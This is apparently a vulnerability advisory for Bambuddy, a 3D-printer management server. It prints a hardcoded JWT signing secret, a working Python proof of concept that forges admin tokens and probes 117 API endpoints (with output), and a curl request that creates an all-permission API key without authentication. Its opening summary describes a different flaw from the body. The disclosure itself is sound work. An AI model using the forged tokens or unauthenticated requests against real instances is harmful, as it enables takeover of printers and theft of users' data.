Bambuddy is a self-hosted print archive and management system for Bambu Lab 3D printers. Starting in version 0.1.6 and prior to version 0.2.4.4, a fail-open in the authentication code allows any attacker to bypass authentication by flooding a public endpoint to exhaust resources causing database access to fail, granting unauthenticated access to all protected endpoints. Version 0.2.4.4 patches the issue.

Summary 1. A hardcoded secret key used for signing JWTs is checked into source code 2. ManyAPI routes do not check authentication

Details I am using the publicly available docker image at ghcr.io/maziggy/bambuddy 1. Hardcoded JWT Secret Key https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28

<details> <summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary>

<img width="1591" height="937" alt="image" src="https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a" />

</details>

Any attacker can: 1. Forge valid JWT tokens for any user 2. Bypass authentication entirely 3. Gain full administrative access to any Bambuddy instance using the default key

Steps to Reproduce:

1. Run an instance of BamBuddy 2. Create admin user 3. Forge and use JWT: python import jwt import requests

token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256") resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})

print(resp.statuscode) # 200 print(resp.text) # {"app":{"version":"0.1.7b","basedir":"/app/data","archivedir":"/app/data/archive"},"database": ...

2. Most API Routes do not check Auth While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints: python resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers

print(resp.statuscode) # 200 print(resp.text) # {"app":{"version":"0.1.7b","basedir":"/app/data","archivedir":"/app/data/archive"},"database": ...

Full Script and Output

Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.

<details> <summary>Script to test GET endpoints with forged JWT and without any auth</summary>

python3 #!/usr/bin/env python3 """ Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001) For security research purposes only.

Tests all GET endpoints to identify which are accessible without authentication. """

import requests import jwt

Hardcoded secret from backend/app/core/auth.py:28 HARDCODEDSECRET = "bambuddy-secret-key-change-in-production" TARGET = "http://10.0.0.4:8000" APIPREFIX = "/api/v1"

All GET endpoints organized by router ENDPOINTS = { "system": [ "/system/info", ], "auth": [ "/auth/status", "/auth/me", ], "users": [ "/users", "/users/1", "/users/1/items-count", ], "groups": [ "/groups", "/groups/permissions", "/groups/1", ], "settings": [ "/settings", "/settings/check-ffmpeg", "/settings/spoolman", "/settings/backup", "/settings/virtual-printer/models", "/settings/virtual-printer", "/settings/mqtt/status", ], "printers": [ "/printers/", "/printers/usb-cameras", "/printers/1", "/printers/1/status", "/printers/1/current-print-user", "/printers/1/cover", "/printers/1/files", "/printers/1/storage", "/printers/1/logging", "/printers/1/slot-presets", "/printers/1/slot-presets/1/1", "/printers/1/print/objects", "/printers/1/runtime-debug", "/printers/1/camera/status", "/printers/1/camera/test", "/printers/1/camera/plate-detection/status", "/printers/1/camera/plate-detection/references", "/printers/1/kprofiles/", "/printers/1/kprofiles/notes", ], "archives": [ "/archives/", "/archives/search", "/archives/compare", "/archives/analysis/failures", "/archives/stats", "/archives/tags", "/archives/1", "/archives/1/similar", "/archives/1/duplicates", "/archives/1/capabilities", "/archives/1/gcode", "/archives/1/plates", "/archives/1/filament-requirements", "/archives/1/project-page", "/archives/1/source", ], "filaments": [ "/filaments/", "/filaments/1", "/filaments/by-type/pla", ], "cloud": [ "/cloud/status", "/cloud/settings", "/cloud/settings/1", "/cloud/devices", "/cloud/firmware-updates", "/cloud/fields", "/cloud/fields/print", ], "queue": [ "/queue/", "/queue/1", ], "notifications": [ "/notifications/", "/notifications/logs", "/notifications/logs/stats", "/notifications/1", ], "notificationtemplates": [ "/notification-templates", "/notification-templates/variables", "/notification-templates/1", ], "updates": [ "/updates/version", "/updates/check", "/updates/status", ], "maintenance": [ "/maintenance/types", "/maintenance/overview", "/maintenance/summary", "/maintenance/printers/1", "/maintenance/items/1/history", ], "externallinks": [ "/external-links/", "/external-links/1", ], "projects": [ "/projects", "/projects/templates", "/projects/1", "/projects/1/archives", "/projects/1/queue", "/projects/1/bom", "/projects/1/timeline", ], "library": [ "/library/folders", "/library/folders/by-archive/1", "/library/folders/by-project/1", "/library/files", "/library/stats", "/library/folders/1", "/library/files/1", "/library/files/1/plates", "/library/files/1/gcode", "/library/files/1/filament-requirements", ], "apikeys": [ "/api-keys/", "/api-keys/1", ], "webhook": [ "/webhook/printer/1/status", "/webhook/queue", ], "amshistory": [ "/ams-history/1/1", ], "support": [ "/support/debug-logging", "/support/logs", ], "discovery": [ "/discovery/info", "/discovery/status", "/discovery/printers", "/discovery/scan/status", ], "pendinguploads": [ "/pending-uploads/", "/pending-uploads/count", "/pending-uploads/1", ], "firmware": [ "/firmware/updates", "/firmware/updates/1", "/firmware/latest", ], "githubbackup": [ "/github-backup/config", "/github-backup/status", "/github-backup/logs", ], "metrics": [ "/metrics", ], }

def forgetoken(): """Forge a valid JWT token using the hardcoded secret.""" payload = {"sub": "admin", "exp": 9999999999} return jwt.encode(payload, HARDCODEDSECRET, algorithm="HS256")

def testendpoint(endpoint, headers): """Test a single endpoint and return status.""" try: resp = requests.get(f"{TARGET}{APIPREFIX}{endpoint}", headers=headers, timeout=5) return resp.statuscode, resp.text[:100] if resp.statuscode == 200 else None except requests.RequestException as e: return "ERROR", str(e)[:50]

def main(): token = forgetoken() print(f"[] Forged JWT token:\n {token}\n")

# Test with no auth, then with forged JWT testmodes = [ ("NO AUTH", {}), ("FORGED JWT", {"Authorization": f"Bearer {token}"}), ]

results = {"noauth": [], "jwtonly": [], "bothfail": []}

print(f"[] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n") print("=" 70)

for category, endpoints in ENDPOINTS.items(): print(f"\n[{category.upper()}]")

for endpoint in endpoints: noauthstatus, = testendpoint(endpoint, {}) jwtstatus, preview = testendpoint(endpoint, {"Authorization": f"Bearer {token}"})

if noauthstatus == 200: results["noauth"].append(endpoint) print(f" {endpoint}: NO AUTH REQUIRED") elif jwtstatus == 200: results["jwtonly"].append(endpoint) print(f" {endpoint}: JWT WORKS") else: results["bothfail"].append((endpoint, noauthstatus, jwtstatus)) print(f" {endpoint}: {noauthstatus} / {jwtstatus}")

# Summary print("\n" + "=" 70) print("\n[SUMMARY]\n")

print(f"Endpoints accessible WITHOUT authentication ({len(results['noauth'])}):") for ep in results["noauth"]: print(f" - {ep}")

print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwtonly'])}):") for ep in results["jwtonly"]: print(f" - {ep}")

print(f"\nEndpoints that rejected both ({len(results['bothfail'])}):") for ep, noauth, jwtauth in results["bothfail"]: print(f" - {ep} (noauth: {noauth}, jwt: {jwtauth})")

if name == "main": main()

</details>

<details> <summary>Script output</summary>

[] Forged JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA

[] Testing 117 endpoints against http://10.0.0.4:8000

======================================================================

[SYSTEM] /system/info: NO AUTH REQUIRED

[AUTH] /auth/status: NO AUTH REQUIRED /auth/me: JWT WORKS

[USERS] /users: JWT WORKS /users/1: JWT WORKS /users/1/items-count: JWT WORKS

[GROUPS] /groups: JWT WORKS /groups/permissions: JWT WORKS /groups/1: JWT WORKS

[SETTINGS] /settings: NO AUTH REQUIRED /settings/check-ffmpeg: NO AUTH REQUIRED /settings/spoolman: NO AUTH REQUIRED /settings/backup: NO AUTH REQUIRED /settings/virtual-printer/models: NO AUTH REQUIRED /settings/virtual-printer: NO AUTH REQUIRED /settings/mqtt/status: NO AUTH REQUIRED

[PRINTERS] /printers/: JWT WORKS /printers/usb-cameras: JWT WORKS /printers/1: JWT WORKS /printers/1/status: JWT WORKS /printers/1/current-print-user: JWT WORKS /printers/1/cover: JWT WORKS /printers/1/files: JWT WORKS /printers/1/storage: JWT WORKS /printers/1/logging: JWT WORKS /printers/1/slot-presets: JWT WORKS /printers/1/slot-presets/1/1: JWT WORKS /printers/1/print/objects: JWT WORKS /printers/1/runtime-debug: JWT WORKS /printers/1/camera/status: NO AUTH REQUIRED /printers/1/camera/test: ERROR / ERROR /printers/1/camera/plate-detection/status: NO AUTH REQUIRED /printers/1/camera/plate-detection/references: NO AUTH REQUIRED /printers/1/kprofiles/: ERROR / ERROR /printers/1/kprofiles/notes: NO AUTH REQUIRED

[ARCHIVES] /archives/: NO AUTH REQUIRED /archives/search: 422 / 422 /archives/compare: 422 / 422 /archives/analysis/failures: NO AUTH REQUIRED /archives/stats: NO AUTH REQUIRED /archives/tags: NO AUTH REQUIRED /archives/1: NO AUTH REQUIRED /archives/1/similar: NO AUTH REQUIRED /archives/1/duplicates: NO AUTH REQUIRED /archives/1/capabilities: NO AUTH REQUIRED /archives/1/gcode: NO AUTH REQUIRED /archives/1/plates: NO AUTH REQUIRED /archives/1/filament-requirements: NO AUTH REQUIRED /archives/1/project-page: NO AUTH REQUIRED /archives/1/source: 404 / 404

[FILAMENTS] /filaments/: NO AUTH REQUIRED /filaments/1: NO AUTH REQUIRED /filaments/by-type/pla: NO AUTH REQUIRED

[CLOUD] /cloud/status: NO AUTH REQUIRED /cloud/settings: 401 / 401 /cloud/settings/1: 401 / 401 /cloud/devices: 401 / 401 /cloud/firmware-updates: 401 / 401 /cloud/fields: NO AUTH REQUIRED /cloud/fields/print: NO AUTH REQUIRED

[QUEUE] /queue/: NO AUTH REQUIRED /queue/1: 404 / 404

[NOTIFICATIONS] /notifications/: NO AUTH REQUIRED /notifications/logs: NO AUTH REQUIRED /notifications/logs/stats: NO AUTH REQUIRED /notifications/1: 404 / 404

[NOTIFICATIONTEMPLATES] /notification-templates: NO AUTH REQUIRED /notification-templates/variables: NO AUTH REQUIRED /notification-templates/1: NO AUTH REQUIRED

[UPDATES] /updates/version: NO AUTH REQUIRED /updates/check: NO AUTH REQUIRED /updates/status: NO AUTH REQUIRED

[MAINTENANCE] /maintenance/types: NO AUTH REQUIRED /maintenance/overview: NO AUTH REQUIRED /maintenance/summary: NO AUTH REQUIRED /maintenance/printers/1: NO AUTH REQUIRED /maintenance/items/1/history: NO AUTH REQUIRED

[EXTERNALLINKS] /external-links/: NO AUTH REQUIRED /external-links/1: 404 / 404

[PROJECTS] /projects: NO AUTH REQUIRED /projects/templates: NO AUTH REQUIRED /projects/1: NO AUTH REQUIRED /projects/1/archives: NO AUTH REQUIRED /projects/1/queue: NO AUTH REQUIRED /projects/1/bom: NO AUTH REQUIRED /projects/1/timeline: NO AUTH REQUIRED

[LIBRARY] /library/folders: NO AUTH REQUIRED /library/folders/by-archive/1: NO AUTH REQUIRED /library/folders/by-project/1: NO AUTH REQUIRED /library/files: NO AUTH REQUIRED /library/stats: NO AUTH REQUIRED /library/folders/1: NO AUTH REQUIRED /library/files/1: 404 / 404 /library/files/1/plates: 404 / 404 /library/files/1/gcode: 404 / 404 /library/files/1/filament-requirements: 404 / 404

[APIKEYS] /api-keys/: NO AUTH REQUIRED /api-keys/1: NO AUTH REQUIRED

[WEBHOOK] /webhook/printer/1/status: 401 / 401 /webhook/queue: 401 / 401

[AMSHISTORY] /ams-history/1/1: NO AUTH REQUIRED

[SUPPORT] /support/debug-logging: NO AUTH REQUIRED /support/logs: NO AUTH REQUIRED

[DISCOVERY] /discovery/info: NO AUTH REQUIRED /discovery/status: NO AUTH REQUIRED /discovery/printers: NO AUTH REQUIRED /discovery/scan/status: NO AUTH REQUIRED

[PENDINGUPLOADS] /pending-uploads/: NO AUTH REQUIRED /pending-uploads/count: NO AUTH REQUIRED /pending-uploads/1: 404 / 404

[FIRMWARE] /firmware/updates: NO AUTH REQUIRED /firmware/updates/1: NO AUTH REQUIRED /firmware/latest: NO AUTH REQUIRED

[GITHUBBACKUP] /github-backup/config: NO AUTH REQUIRED /github-backup/status: NO AUTH REQUIRED /github-backup/logs: NO AUTH REQUIRED

[METRICS] /metrics: 401 / 401

======================================================================

[SUMMARY]

Endpoints accessible WITHOUT authentication (77): - /system/info - /auth/status - /settings - /settings/check-ffmpeg - /settings/spoolman - /settings/backup - /settings/virtual-printer/models - /settings/virtual-printer - /settings/mqtt/status - /printers/1/camera/status - /printers/1/camera/plate-detection/status - /printers/1/camera/plate-detection/references - /printers/1/kprofiles/notes - /archives/ - /archives/analysis/failures - /archives/stats - /archives/tags - /archives/1 - /archives/1/similar - /archives/1/duplicates - /archives/1/capabilities - /archives/1/gcode - /archives/1/plates - /archives/1/filament-requirements - /archives/1/project-page - /filaments/ - /filaments/1 - /filaments/by-type/pla - /cloud/status - /cloud/fields - /cloud/fields/print - /queue/ - /notifications/ - /notifications/logs - /notifications/logs/stats - /notification-templates - /notification-templates/variables - /notification-templates/1 - /updates/version - /updates/check - /updates/status - /maintenance/types - /maintenance/overview - /maintenance/summary - /maintenance/printers/1 - /maintenance/items/1/history - /external-links/ - /projects - /projects/templates - /projects/1 - /projects/1/archives - /projects/1/queue - /projects/1/bom - /projects/1/timeline - /library/folders - /library/folders/by-archive/1 - /library/folders/by-project/1 - /library/files - /library/stats - /library/folders/1 - /api-keys/ - /api-keys/1 - /ams-history/1/1 - /support/debug-logging - /support/logs - /discovery/info - /discovery/status - /discovery/printers - /discovery/scan/status - /pending-uploads/ - /pending-uploads/count - /firmware/updates - /firmware/updates/1 - /firmware/latest - /github-backup/config - /github-backup/status - /github-backup/logs

Endpoints accessible with FORGED JWT only (20): - /auth/me - /users - /users/1 - /users/1/items-count - /groups - /groups/permissions - /groups/1 - /printers/ - /printers/usb-cameras - /printers/1 - /printers/1/status - /printers/1/current-print-user - /printers/1/cover - /printers/1/files - /printers/1/storage - /printers/1/logging - /printers/1/slot-presets - /printers/1/slot-presets/1/1 - /printers/1/print/objects - /printers/1/runtime-debug

Endpoints that rejected both (20): - /printers/1/camera/test (noauth: ERROR, jwt: ERROR) - /printers/1/kprofiles/ (noauth: ERROR, jwt: ERROR) - /archives/search (noauth: 422, jwt: 422) - /archives/compare (noauth: 422, jwt: 422) - /archives/1/source (noauth: 404, jwt: 404) - /cloud/settings (noauth: 401, jwt: 401) - /cloud/settings/1 (noauth: 401, jwt: 401) - /cloud/devices (noauth: 401, jwt: 401) - /cloud/firmware-updates (noauth: 401, jwt: 401) - /queue/1 (noauth: 404, jwt: 404) - /notifications/1 (noauth: 404, jwt: 404) - /external-links/1 (noauth: 404, jwt: 404) - /library/files/1 (noauth: 404, jwt: 404) - /library/files/1/plates (noauth: 404, jwt: 404) - /library/files/1/gcode (noauth: 404, jwt: 404) - /library/files/1/filament-requirements (noauth: 404, jwt: 404) - /webhook/printer/1/status (noauth: 401, jwt: 401) - /webhook/queue (noauth: 401, jwt: 401) - /pending-uploads/1 (noauth: 404, jwt: 404) - /metrics (noauth: 401, jwt: 401)

</details>

While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth: bash curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","canqueue":true,"cancontrolprinter":true,"canreadstatus":true}' yields json {"id":7,"name":"new key","keyprefix":"bbQW2su...","canqueue":true,"cancontrolprinter":true,"canreadstatus":true,"printerids":null,"enabled":true,"lastused":null,"createdat":"2026-02-01T23:14:15","expiresat":null,"key":"bbQW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}

Impact BamBuddy is vulnerable to unauthorized access and control